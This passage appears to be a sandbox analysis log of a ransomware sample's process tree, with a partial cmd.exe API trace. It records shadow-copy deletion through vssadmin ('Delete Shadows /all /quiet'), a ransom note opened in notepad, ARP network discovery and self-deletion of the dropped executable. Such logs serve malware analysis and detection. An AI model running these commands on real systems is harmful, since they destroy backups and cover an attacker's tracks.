AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 159 os_tid = 0x91c Thread: id = 160 os_tid = 0x95c Process: id = "31" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x3d508000" os_pid = "0x96c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xe70" cmd_line = "\"vssadmin.exe\" resize shadowstorage /for=g: /on=g: /maxsize=401MB" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 161 os_tid = 0x97c Thread: id = 162 os_tid = 0x9bc Process: id = "32" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x3c710000" os_pid = "0x9cc" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xe70" cmd_line = "\"vssadmin.exe\" resize shadowstorage /for=g: /on=g: /maxsize=unbounded" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 163 os_tid = 0x9dc Thread: id = 164 os_tid = 0xa1c Process: id = "33" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x3a71a000" os_pid = "0xa2c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xe70" cmd_line = "\"vssadmin.exe\" resize shadowstorage /for=h: /on=h: /maxsize=401MB" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 165 os_tid = 0xa3c Thread: id = 166 os_tid = 0xa80 Process: id = "34" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x3a923000" os_pid = "0xa90" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xe70" cmd_line = "\"vssadmin.exe\" resize shadowstorage /for=h: /on=h: /maxsize=unbounded" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 167 os_tid = 0xaa0 Thread: id = 168 os_tid = 0xae0 Process: id = "35" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x4242c000" os_pid = "0xaf4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xe70" cmd_line = "\"vssadmin.exe\" Delete Shadows /all /quiet" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 169 os_tid = 0xb04 Thread: id = 170 os_tid = 0xb38 Thread: id = 171 os_tid = 0xbe0 Thread: id = 172 os_tid = 0xb44 Thread: id = 173 os_tid = 0xbb8 Process: id = "36" image_name = "arp.exe" filename = "c:\\windows\\system32\\arp.exe" page_root = "0x459ee000" os_pid = "0x798" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xe70" cmd_line = "\"arp\" -a" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 182 os_tid = 0xd34 Thread: id = 183 os_tid = 0x6ec Process: id = "37" image_name = "taskeng.exe" filename = "c:\\windows\\system32\\taskeng.exe" page_root = "0x460e5000" os_pid = "0x7c4" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "19" os_parent_pid = "0x364" cmd_line = "taskeng.exe {10FF51F9-D341-49D1-BBBB-7BA796F3EEFC} S-1-5-18:NT AUTHORITY\\System:Service:" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000d5fc" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 184 os_tid = 0x70c Thread: id = 185 os_tid = 0x728 Thread: id = 197 os_tid = 0xbb4 Thread: id = 198 os_tid = 0xb9c Thread: id = 199 os_tid = 0x37c Thread: id = 203 os_tid = 0x7c8 Thread: id = 204 os_tid = 0xde0 Thread: id = 209 os_tid = 0x56c Process: id = "38" image_name = "taskeng.exe" filename = "c:\\windows\\system32\\taskeng.exe" page_root = "0x47256000" os_pid = "0x970" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "19" os_parent_pid = "0x364" cmd_line = "taskeng.exe {B778AD2D-CD50-4389-93D9-BEDC9CF6C8CC} S-1-5-21-2345716840-1148442690-1481144037-1000:YKYD69Q\\aETAdzjz:Interactive:LUA[1]" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 200 os_tid = 0x930 Thread: id = 201 os_tid = 0x4bc Thread: id = 202 os_tid = 0xe10 Thread: id = 205 os_tid = 0x2ac Thread: id = 206 os_tid = 0x3c8 Thread: id = 207 os_tid = 0xe6c Thread: id = 208 os_tid = 0xe80 Thread: id = 210 os_tid = 0xd70 Process: id = "39" image_name = "officec2rclient.exe" filename = "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe" page_root = "0x472fd000" os_pid = "0xe64" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "37" os_parent_pid = "0x7c4" cmd_line = "\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeC2RClient.exe\" /update SCHEDULEDTASK displaylevel=False" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000d5fc" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 211 os_tid = 0xd60 Thread: id = 264 os_tid = 0xfe8 Thread: id = 265 os_tid = 0xfec Thread: id = 314 os_tid = 0x8fc Thread: id = 315 os_tid = 0x8bc Thread: id = 317 os_tid = 0x8cc Thread: id = 319 os_tid = 0x95c Thread: id = 321 os_tid = 0x94c Thread: id = 327 os_tid = 0x9ac Thread: id = 328 os_tid = 0x98c Thread: id = 329 os_tid = 0x9fc Thread: id = 333 os_tid = 0x9ec Thread: id = 337 os_tid = 0xa80 Thread: id = 344 os_tid = 0xb38 Process: id = "40" image_name = "msoia.exe" filename = "c:\\program files\\microsoft office\\root\\office16\\msoia.exe" page_root = "0x49178000" os_pid = "0xd78" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "38" os_parent_pid = "0x970" cmd_line = "\"C:\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe\" scan upload" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 212 os_tid = 0xd7c Thread: id = 266 os_tid = 0xfd8 Thread: id = 268 os_tid = 0xfdc Thread: id = 270 os_tid = 0x7f0 Thread: id = 271 os_tid = 0xcc0 Thread: id = 272 os_tid = 0xcb4 Thread: id = 274 os_tid = 0xc90 Thread: id = 288 os_tid = 0xc80 Thread: id = 290 os_tid = 0xce8 Thread: id = 291 os_tid = 0xb48 Thread: id = 297 os_tid = 0x264 Thread: id = 301 os_tid = 0x488 Thread: id = 302 os_tid = 0x558 Thread: id = 304 os_tid = 0x43c Thread: id = 340 os_tid = 0xaa0 Process: id = "41" image_name = "msoia.exe" filename = "c:\\program files\\microsoft office\\root\\office16\\msoia.exe" page_root = "0x4827d000" os_pid = "0xde4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "38" os_parent_pid = "0x970" cmd_line = "\"C:\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe\" scan upload mininterval:2880" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 213 os_tid = 0xde8 Thread: id = 267 os_tid = 0xfe4 Thread: id = 269 os_tid = 0xc7c Thread: id = 273 os_tid = 0xcb8 Thread: id = 286 os_tid = 0xca8 Thread: id = 287 os_tid = 0xc30 Thread: id = 289 os_tid = 0xc34 Thread: id = 292 os_tid = 0xcbc Thread: id = 293 os_tid = 0xd20 Thread: id = 294 os_tid = 0xcec Thread: id = 296 os_tid = 0x180 Thread: id = 298 os_tid = 0x214 Thread: id = 299 os_tid = 0x690 Thread: id = 305 os_tid = 0x6b8 Thread: id = 338 os_tid = 0xac0 Thread: id = 339 os_tid = 0xae0 Process: id = "42" image_name = "officec2rclient.exe" filename = "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe" page_root = "0x46df2000" os_pid = "0xd74" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "37" os_parent_pid = "0x7c4" cmd_line = "\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeC2RClient.exe\" /WatchService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000d5fc" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 214 os_tid = 0xdec Thread: id = 262 os_tid = 0xff0 Thread: id = 263 os_tid = 0xff4 Thread: id = 312 os_tid = 0x86c Thread: id = 313 os_tid = 0x8dc Thread: id = 316 os_tid = 0x8ec Thread: id = 318 os_tid = 0x93c Thread: id = 320 os_tid = 0x91c Thread: id = 323 os_tid = 0x99c Thread: id = 324 os_tid = 0x788 Thread: id = 325 os_tid = 0x9bc Thread: id = 326 os_tid = 0x97c Thread: id = 330 os_tid = 0xa1c Thread: id = 332 os_tid = 0x9dc Thread: id = 341 os_tid = 0xad0 Process: id = "43" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x7ac16000" os_pid = "0x2c8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "19" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalServiceNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Audiosrv" [0xa], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xe], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\lmhosts" [0xa], "NT SERVICE\\WPCSvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000bdec" [0xc000000f], "LOCAL" [0x7] Thread: id = 216 os_tid = 0x5b4 Thread: id = 217 os_tid = 0xe54 Thread: id = 218 os_tid = 0xe50 Thread: id = 219 os_tid = 0xc8c Thread: id = 220 os_tid = 0x5f8 Thread: id = 221 os_tid = 0x54c Thread: id = 222 os_tid = 0x518 Thread: id = 223 os_tid = 0x608 Thread: id = 224 os_tid = 0x604 Thread: id = 225 os_tid = 0x5fc Thread: id = 226 os_tid = 0x5ac Thread: id = 227 os_tid = 0x218 Thread: id = 228 os_tid = 0x174 Thread: id = 229 os_tid = 0x3b0 Thread: id = 230 os_tid = 0x3ac Thread: id = 231 os_tid = 0x39c Thread: id = 232 os_tid = 0x300 Thread: id = 233 os_tid = 0x2fc Thread: id = 234 os_tid = 0x2d4 Thread: id = 235 os_tid = 0x2cc Thread: id = 246 os_tid = 0xf0c Thread: id = 342 os_tid = 0xb24 Thread: id = 343 os_tid = 0xbb8 Process: id = "44" image_name = "wmiadap.exe" filename = "c:\\windows\\system32\\wbem\\wmiadap.exe" page_root = "0x405c9000" os_pid = "0xea0" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "19" os_parent_pid = "0x364" cmd_line = "wmiadap.exe /F /T /R" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000d5fc" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 237 os_tid = 0xeb8 Thread: id = 238 os_tid = 0xec4 Thread: id = 239 os_tid = 0x6e0 Thread: id = 240 os_tid = 0xe98 Thread: id = 241 os_tid = 0xeb0 Thread: id = 242 os_tid = 0xebc Process: id = "45" image_name = "notepad.exe" filename = "c:\\windows\\system32\\notepad.exe" page_root = "0x6a1da000" os_pid = "0xf80" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xe70" cmd_line = "\"C:\\Windows\\System32\\notepad.exe\" C:\\Users\\aETAdzjz\\Desktop\\HELP_ME_RECOVER_MY_FILES.txt" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 258 os_tid = 0xf8c Process: id = "46" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x27e0e000" os_pid = "0xfd0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xe70" cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" \"/C choice /C Y /N /D Y /T 3 & Del \"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\newfile.Exe" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f18d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 260 os_tid = 0xfc8 [0250.500] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1efa10 | out: lpSystemTimeAsFileTime=0x1efa10*(dwLowDateTime=0x54f8aae0, dwHighDateTime=0x1d5eccc)) [0250.500] GetCurrentProcessId () returned 0xfd0 [0250.500] GetCurrentThreadId () returned 0xfc8 [0250.500] GetTickCount () returned 0x1176d44 [0250.500] QueryPerformanceCounter (in: lpPerformanceCount=0x1efa18 | out: lpPerformanceCount=0x1efa18*=33134580957) returned 1 [0250.505] GetModuleHandleW (lpModuleName=0x0) returned 0x4a9d0000 [0250.505] __set_app_type (_Type=0x1) [0250.505] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a9f7810) returned 0x0 [0250.505] __getmainargs (in: _Argc=0x4aa1a608, _Argv=0x4aa1a618, _Env=0x4aa1a610, _DoWildCard=0, _StartInfo=0x4a9fe0f4 | out: _Argc=0x4aa1a608, _Argv=0x4aa1a618, _Env=0x4aa1a610) returned 0 [0250.505] GetCurrentThreadId () returned 0xfc8 [0250.505] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xfc8) returned 0x3c [0250.506] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x778b0000 [0250.506] GetProcAddress (hModule=0x778b0000, lpProcName="SetThreadUILanguage") returned 0x778c6d40 [0250.506] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0250.575] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0250.575] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ef9a8 | out: phkResult=0x1ef9a8*=0x0) returned 0x2 [0250.575] VirtualQuery (in: lpAddress=0x1ef990, lpBuffer=0x1ef910, dwLength=0x30 | out: lpBuffer=0x1ef910*(BaseAddress=0x1ef000, AllocationBase=0xf0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0250.575] VirtualQuery (in: lpAddress=0xf0000, lpBuffer=0x1ef910, dwLength=0x30 | out: lpBuffer=0x1ef910*(BaseAddress=0xf0000, AllocationBase=0xf0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0250.575] VirtualQuery (in: lpAddress=0xf1000, lpBuffer=0x1ef910, dwLength=0x30 | out: lpBuffer=0x1ef910*(BaseAddress=0xf1000, AllocationBase=0xf0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0250.575] VirtualQuery (in: lpAddress=0xf4000, lpBuffer=0x1ef910, dwLength=0x30 | out: lpBuffer=0x1ef910*(BaseAddress=0xf4000, AllocationBase=0xf0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0250.575] VirtualQuery (in: lpAddress=0x1f0000, lpBuffer=0x1ef910, dwLength=0x30 | out: lpBuffer=0x1ef910*(BaseAddress=0x1f0000, AllocationBase=0x1f0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1a000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0250.575] GetConsoleOutputCP () returned 0x1b5 [0250.576] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4aa0bfe0 | out: lpCPInfo=0x4aa0bfe0) returned 1 [0250.576] SetConsoleCtrlHandler (HandlerRoutine=0x4a9f3184, Add=1) returned 1 [0250.576] _get_osfhandle (_FileHandle=1) returned 0x7 [0250.576] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0250.576] _get_osfhandle (_FileHandle=1) returned 0x7 [0250.577] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a9fe194 | out: lpMode=0x4a9fe194) returned 1 [0250.577] _get_osfhandle (_FileHandle=1) returned 0x7 [0250.577] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0250.577] _get_osfhandle (_FileHandle=0) returned 0x3 [0250.577] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a9fe198 | out: lpMode=0x4a9fe198) returned 1 [0250.577] _get_osfhandle (_FileHandle=0) returned 0x3 [0250.577] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0250.578] GetEnvironmentStringsW () returned 0x208da0* [0250.578] GetProcessHeap () returned 0x1f0000 [0250.578] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0xbc2) returned 0x209970 [0250.578] FreeEnvironmentStringsW (penv=0x208da0) returned 1 [0250.578] GetProcessHeap () returned 0x1f0000 [0250.578] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0x8) returned 0x208620 [0250.578] GetEnvironmentStringsW () returned 0x208da0* [0250.578] GetProcessHeap () returned 0x1f0000 [0250.578] RtlAllocateHeap (HeapHandle=0x1f0000, Flags=0x8, Size=0xbc2) returned 0x20a540 [0250.579] FreeEnvironmentStringsW (penv=0x208da0) returned 1 [0250.579] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1ee868 | out: phkResult=0x1ee868*=0x44) returned 0x0 [0250.579] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1ee860, lpData=0x1ee880, 